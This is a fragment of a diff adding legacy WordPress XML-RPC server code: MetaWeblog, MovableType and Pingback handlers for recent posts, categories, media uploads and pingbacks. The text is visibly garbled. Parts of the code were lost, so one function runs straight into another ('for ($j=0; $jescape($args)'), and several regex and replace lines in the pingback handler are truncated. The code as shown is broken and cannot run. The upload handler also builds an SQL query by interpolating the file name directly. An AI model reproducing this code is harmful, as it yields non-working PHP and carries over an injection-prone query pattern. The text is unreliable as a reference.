) { + foreach ( $tags as $tag ) { + $tagnames[] = $tag->name; + } + $tagnames = implode( ', ', $tagnames ); + } else { + $tagnames = ''; + } + + $post = get_extended($entry['post_content']); + $link = post_permalink($entry['ID']); + + // Get the post author info. + $author = get_userdata($entry['post_author']); + + $allow_comments = ('open' == $entry['comment_status']) ? 1 : 0; + $allow_pings = ('open' == $entry['ping_status']) ? 1 : 0; + + // Consider future posts as published + if( $entry['post_status'] === 'future' ) { + $entry['post_status'] = 'publish'; + } + + $struct[] = array( + 'dateCreated' => new IXR_Date($post_date), + 'userid' => $entry['post_author'], + 'postid' => $entry['ID'], + 'description' => $post['main'], + 'title' => $entry['post_title'], + 'link' => $link, + 'permaLink' => $link, + // commented out because no other tool seems to use this + // 'content' => $entry['post_content'], + 'categories' => $categories, + 'mt_excerpt' => $entry['post_excerpt'], + 'mt_text_more' => $post['extended'], + 'mt_allow_comments' => $allow_comments, + 'mt_allow_pings' => $allow_pings, + 'mt_keywords' => $tagnames, + 'wp_slug' => $entry['post_name'], + 'wp_password' => $entry['post_password'], + 'wp_author_id' => $author->ID, + 'wp_author_display_name' => $author->display_name, + 'date_created_gmt' => new IXR_Date($post_date_gmt), + 'post_status' => $entry['post_status'], + 'custom_fields' => $this->get_custom_fields($entry['ID']) + ); + + } + + $recent_posts = array(); + for ($j=0; $jescape($args); + + $blog_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_posts' ) ) + return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view categories.' ) ); + + do_action('xmlrpc_call', 'metaWeblog.getCategories'); + + $categories_struct = array(); + + if ( $cats = get_categories('get=all') ) { + foreach ( $cats as $cat ) { + $struct['categoryId'] = $cat->term_id; + $struct['parentId'] = $cat->parent; + $struct['description'] = $cat->name; + $struct['categoryDescription'] = $cat->description; + $struct['categoryName'] = $cat->name; + $struct['htmlUrl'] = esc_html(get_category_link($cat->term_id)); + $struct['rssUrl'] = esc_html(get_category_feed_link($cat->term_id, 'rss2')); + + $categories_struct[] = $struct; + } + } + + return $categories_struct; + } + + /** + * Uploads a file, following your settings. + * + * Adapted from a patch by Johann Richard. + * + * @link http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/ + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function mw_newMediaObject($args) { + global $wpdb; + + $blog_ID = (int) $args[0]; + $username = $wpdb->escape($args[1]); + $password = $wpdb->escape($args[2]); + $data = $args[3]; + + $name = sanitize_file_name( $data['name'] ); + $type = $data['type']; + $bits = $data['bits']; + + logIO('O', '(MW) Received '.strlen($bits).' bytes'); + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'metaWeblog.newMediaObject'); + + if ( !current_user_can('upload_files') ) { + logIO('O', '(MW) User does not have upload_files capability'); + $this->error = new IXR_Error(401, __('You are not allowed to upload files to this site.')); + return $this->error; + } + + if ( $upload_err = apply_filters( "pre_upload_error", false ) ) + return new IXR_Error(500, $upload_err); + + if(!empty($data["overwrite"]) && ($data["overwrite"] == true)) { + // Get postmeta info on the object. + $old_file = $wpdb->get_row(" + SELECT ID + FROM {$wpdb->posts} + WHERE post_title = '{$name}' + AND post_type = 'attachment' + "); + + // Delete previous file. + wp_delete_attachment($old_file->ID); + + // Make sure the new name is different by pre-pending the + // previous post id. + $filename = preg_replace("/^wpid\d+-/", "", $name); + $name = "wpid{$old_file->ID}-{$filename}"; + } + + $upload = wp_upload_bits($name, $type, $bits); + if ( ! empty($upload['error']) ) { + $errorString = sprintf(__('Could not write file %1$s (%2$s)'), $name, $upload['error']); + logIO('O', '(MW) ' . $errorString); + return new IXR_Error(500, $errorString); + } + // Construct the attachment array + // attach to post_id 0 + $post_id = 0; + $attachment = array( + 'post_title' => $name, + 'post_content' => '', + 'post_type' => 'attachment', + 'post_parent' => $post_id, + 'post_mime_type' => $type, + 'guid' => $upload[ 'url' ] + ); + + // Save the data + $id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id ); + wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) ); + + return apply_filters( 'wp_handle_upload', array( 'file' => $name, 'url' => $upload[ 'url' ], 'type' => $type ) ); + } + + /* MovableType API functions + * specs on http://www.movabletype.org/docs/mtmanual_programmatic.html + */ + + /** + * Retrieve the post titles of recent posts. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function mt_getRecentPostTitles($args) { + + $this->escape($args); + + $blog_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $num_posts = (int) $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'mt.getRecentPostTitles'); + + $posts_list = wp_get_recent_posts($num_posts); + + if (!$posts_list) { + $this->error = new IXR_Error(500, __('Either there are no posts, or something went wrong.')); + return $this->error; + } + + foreach ($posts_list as $entry) { + if( !current_user_can( 'edit_post', $entry['ID'] ) ) + continue; + + $post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false); + $post_date_gmt = mysql2date('Ymd\TH:i:s', $entry['post_date_gmt'], false); + + // For drafts use the GMT version of the date + if ( $entry['post_status'] == 'draft' ) { + $post_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $entry['post_date'] ), 'Ymd\TH:i:s' ); + } + + $struct[] = array( + 'dateCreated' => new IXR_Date($post_date), + 'userid' => $entry['post_author'], + 'postid' => $entry['ID'], + 'title' => $entry['post_title'], + 'date_created_gmt' => new IXR_Date($post_date_gmt) + ); + + } + + $recent_posts = array(); + for ($j=0; $jescape($args); + + $blog_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_posts' ) ) + return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view categories.' ) ); + + do_action('xmlrpc_call', 'mt.getCategoryList'); + + $categories_struct = array(); + + if ( $cats = get_categories('hide_empty=0&hierarchical=0') ) { + foreach ($cats as $cat) { + $struct['categoryId'] = $cat->term_id; + $struct['categoryName'] = $cat->name; + + $categories_struct[] = $struct; + } + } + + return $categories_struct; + } + + /** + * Retrieve post categories. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function mt_getPostCategories($args) { + + $this->escape($args); + + $post_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + if( !current_user_can( 'edit_post', $post_ID ) ) + return new IXR_Error( 401, __( 'Sorry, you can not edit this post.' ) ); + + do_action('xmlrpc_call', 'mt.getPostCategories'); + + $categories = array(); + $catids = wp_get_post_categories(intval($post_ID)); + // first listed category will be the primary category + $isPrimary = true; + foreach($catids as $catid) { + $categories[] = array( + 'categoryName' => get_cat_name($catid), + 'categoryId' => (string) $catid, + 'isPrimary' => $isPrimary + ); + $isPrimary = false; + } + + return $categories; + } + + /** + * Sets categories for a post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return bool True on success. + */ + function mt_setPostCategories($args) { + + $this->escape($args); + + $post_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + $categories = $args[3]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'mt.setPostCategories'); + + if ( !current_user_can('edit_post', $post_ID) ) + return new IXR_Error(401, __('Sorry, you cannot edit this post.')); + + foreach($categories as $cat) { + $catids[] = $cat['categoryId']; + } + + wp_set_post_categories($post_ID, $catids); + + return true; + } + + /** + * Retrieve an array of methods supported by this server. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function mt_supportedMethods($args) { + + do_action('xmlrpc_call', 'mt.supportedMethods'); + + $supported_methods = array(); + foreach($this->methods as $key=>$value) { + $supported_methods[] = $key; + } + + return $supported_methods; + } + + /** + * Retrieve an empty array because we don't support per-post text filters. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + */ + function mt_supportedTextFilters($args) { + do_action('xmlrpc_call', 'mt.supportedTextFilters'); + return apply_filters('xmlrpc_text_filters', array()); + } + + /** + * Retrieve trackbacks sent to a given post. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return mixed + */ + function mt_getTrackbackPings($args) { + + global $wpdb; + + $post_ID = intval($args); + + do_action('xmlrpc_call', 'mt.getTrackbackPings'); + + $actual_post = wp_get_single_post($post_ID, ARRAY_A); + + if (!$actual_post) { + return new IXR_Error(404, __('Sorry, no such post.')); + } + + $comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) ); + + if (!$comments) { + return array(); + } + + $trackback_pings = array(); + foreach($comments as $comment) { + if ( 'trackback' == $comment->comment_type ) { + $content = $comment->comment_content; + $title = substr($content, 8, (strpos($content, '
    ') - 8)); + $trackback_pings[] = array( + 'pingTitle' => $title, + 'pingURL' => $comment->comment_author_url, + 'pingIP' => $comment->comment_author_IP + ); + } + } + + return $trackback_pings; + } + + /** + * Sets a post's publish status to 'publish'. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return int + */ + function mt_publishPost($args) { + + $this->escape($args); + + $post_ID = (int) $args[0]; + $username = $args[1]; + $password = $args[2]; + + if ( !$user = $this->login($username, $password) ) { + return $this->error; + } + + do_action('xmlrpc_call', 'mt.publishPost'); + + if ( !current_user_can('edit_post', $post_ID) ) + return new IXR_Error(401, __('Sorry, you cannot edit this post.')); + + $postdata = wp_get_single_post($post_ID,ARRAY_A); + + $postdata['post_status'] = 'publish'; + + // retain old cats + $cats = wp_get_post_categories($post_ID); + $postdata['post_category'] = $cats; + $this->escape($postdata); + + $result = wp_update_post($postdata); + + return $result; + } + + /* PingBack functions + * specs on www.hixie.ch/specs/pingback/pingback + */ + + /** + * Retrieves a pingback and registers it. + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function pingback_ping($args) { + global $wpdb; + + do_action('xmlrpc_call', 'pingback.ping'); + + $this->escape($args); + + $pagelinkedfrom = $args[0]; + $pagelinkedto = $args[1]; + + $title = ''; + + $pagelinkedfrom = str_replace('&', '&', $pagelinkedfrom); + $pagelinkedto = str_replace('&', '&', $pagelinkedto); + $pagelinkedto = str_replace('&', '&', $pagelinkedto); + + // Check if the page linked to is in our site + $pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home'))); + if( !$pos1 ) + return new IXR_Error(0, __('Is there no link to us?')); + + // let's find which post is linked to + // FIXME: does url_to_postid() cover all these cases already? + // if so, then let's use it and drop the old code. + $urltest = parse_url($pagelinkedto); + if ($post_ID = url_to_postid($pagelinkedto)) { + $way = 'url_to_postid()'; + } elseif (preg_match('#p/[0-9]{1,}#', $urltest['path'], $match)) { + // the path defines the post_ID (archives/p/XXXX) + $blah = explode('/', $match[0]); + $post_ID = (int) $blah[1]; + $way = 'from the path'; + } elseif (preg_match('#p=[0-9]{1,}#', $urltest['query'], $match)) { + // the querystring defines the post_ID (?p=XXXX) + $blah = explode('=', $match[0]); + $post_ID = (int) $blah[1]; + $way = 'from the querystring'; + } elseif (isset($urltest['fragment'])) { + // an #anchor is there, it's either... + if (intval($urltest['fragment'])) { + // ...an integer #XXXX (simpliest case) + $post_ID = (int) $urltest['fragment']; + $way = 'from the fragment (numeric)'; + } elseif (preg_match('/post-[0-9]+/',$urltest['fragment'])) { + // ...a post id in the form 'post-###' + $post_ID = preg_replace('/[^0-9]+/', '', $urltest['fragment']); + $way = 'from the fragment (post-###)'; + } elseif (is_string($urltest['fragment'])) { + // ...or a string #title, a little more complicated + $title = preg_replace('/[^a-z0-9]/i', '.', $urltest['fragment']); + $sql = $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_title RLIKE %s", $title); + if (! ($post_ID = $wpdb->get_var($sql)) ) { + // returning unknown error '0' is better than die()ing + return new IXR_Error(0, ''); + } + $way = 'from the fragment (title)'; + } + } else { + // TODO: Attempt to extract a post ID from the given URL + return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource.')); + } + $post_ID = (int) $post_ID; + + + logIO("O","(PB) URL='$pagelinkedto' ID='$post_ID' Found='$way'"); + + $post = get_post($post_ID); + + if ( !$post ) // Post_ID not found + return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource.')); + + if ( $post_ID == url_to_postid($pagelinkedfrom) ) + return new IXR_Error(0, __('The source URL and the target URL cannot both point to the same resource.')); + + // Check if pings are on + if ( !pings_open($post) ) + return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource.')); + + // Let's check that the remote site didn't already pingback this entry + $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $post_ID, $pagelinkedfrom) ); + + if ( $wpdb->num_rows ) // We already have a Pingback from this URL + return new IXR_Error(48, __('The pingback has already been registered.')); + + // very stupid, but gives time to the 'from' server to publish ! + sleep(1); + + // Let's check the remote site + $linea = wp_remote_fopen( $pagelinkedfrom ); + if ( !$linea ) + return new IXR_Error(16, __('The source URL does not exist.')); + + $linea = apply_filters('pre_remote_source', $linea, $pagelinkedto); + + // Work around bug in strip_tags(): + $linea = str_replace(']*>/", "\n\n", $linea ); + + preg_match('|([^<]*?)|is', $linea, $matchtitle); + $title = $matchtitle[1]; + if ( empty( $title ) ) + return new IXR_Error(32, __('We cannot find a title on that page.')); + + $linea = strip_tags( $linea, '' ); // just keep the tag we need + + $p = explode( "\n\n", $linea ); + + $preg_target = preg_quote($pagelinkedto, '|'); + + foreach ( $p as $para ) { + if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link? + preg_match("|]+?".$preg_target."[^>]*>([^>]+?)|", $para, $context); + + // If the URL isn't in a link context, keep looking + if ( empty($context) ) + continue; + + // We're going to use this fake tag to mark the context in a bit + // the marker is needed in case the link text appears more than once in the paragraph + $excerpt = preg_replace('|\|', '', $para); + + // prevent really long link text + if ( strlen($context[1]) > 100 ) + $context[1] = substr($context[1], 0, 100) . '...'; + + $marker = ''.$context[1].''; // set up our marker + $excerpt= str_replace($context[0], $marker, $excerpt); // swap out the link for our marker + $excerpt = strip_tags($excerpt, ''); // strip all tags but our context marker + $excerpt = trim($excerpt); + $preg_marker = preg_quote($marker, '|'); + $excerpt = preg_replace("|.*?\s(.{0,100}$preg_marker.{0,100})\s.*|s", '$1', $excerpt); + $excerpt = strip_tags($excerpt); // YES, again, to remove the marker wrapper + break; + } + } + + if ( empty($context) ) // Link to target not found + return new IXR_Error(17, __('The source URL does not contain a link to the target URL, and so cannot be used as a source.')); + + $pagelinkedfrom = str_replace('&', '&', $pagelinkedfrom); + + $context = '[...] ' . esc_html( $excerpt ) . ' [...]'; + $pagelinkedfrom = $wpdb->escape( $pagelinkedfrom ); + + $comment_post_ID = (int) $post_ID; + $comment_author = $title; + $this->escape($comment_author); + $comment_author_url = $pagelinkedfrom; + $comment_content = $context; + $this->escape($comment_content); + $comment_type = 'pingback'; + + $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_content', 'comment_type'); + + $comment_ID = wp_new_comment($commentdata); + do_action('pingback_post', $comment_ID); + + return sprintf(__('Pingback from %1$s to %2$s registered. Keep the web talking! :-)'), $pagelinkedfrom, $pagelinkedto); + } + + /** + * Retrieve array of URLs that pingbacked the given URL. + * + * Specs on http://www.aquarionics.com/misc/archives/blogite/0198.html + * + * @since 1.5.0 + * + * @param array $args Method parameters. + * @return array + */ + function pingback_extensions_getPingbacks($args) { + + global $wpdb; + + do_action('xmlrpc_call', 'pingback.extensions.getPingbacks'); + + $this->escape($args); + + $url = $args; + + $post_ID = url_to_postid($url); + if (!$post_ID) { + // We aren't sure that the resource is available and/or pingback enabled + return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource.')); + } + + $actual_post = wp_get_single_post($post_ID, ARRAY_A); + + if (!$actual_post) { + // No such post = resource not found + return new IXR_Error(32, __('The specified target URL does not exist.')); + } + + $comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) ); + + if (!$comments) { + return array(); + } + + $pingbacks = array(); + foreach($comments as $comment) { + if ( 'pingback' == $comment->comment_type ) + $pingbacks[] = $comment->comment_author_url; + } + + return $pingbacks; + } +} + +$wp_xmlrpc_server = new wp_xmlrpc_server(); +$wp_xmlrpc_server->serve_request(); +?>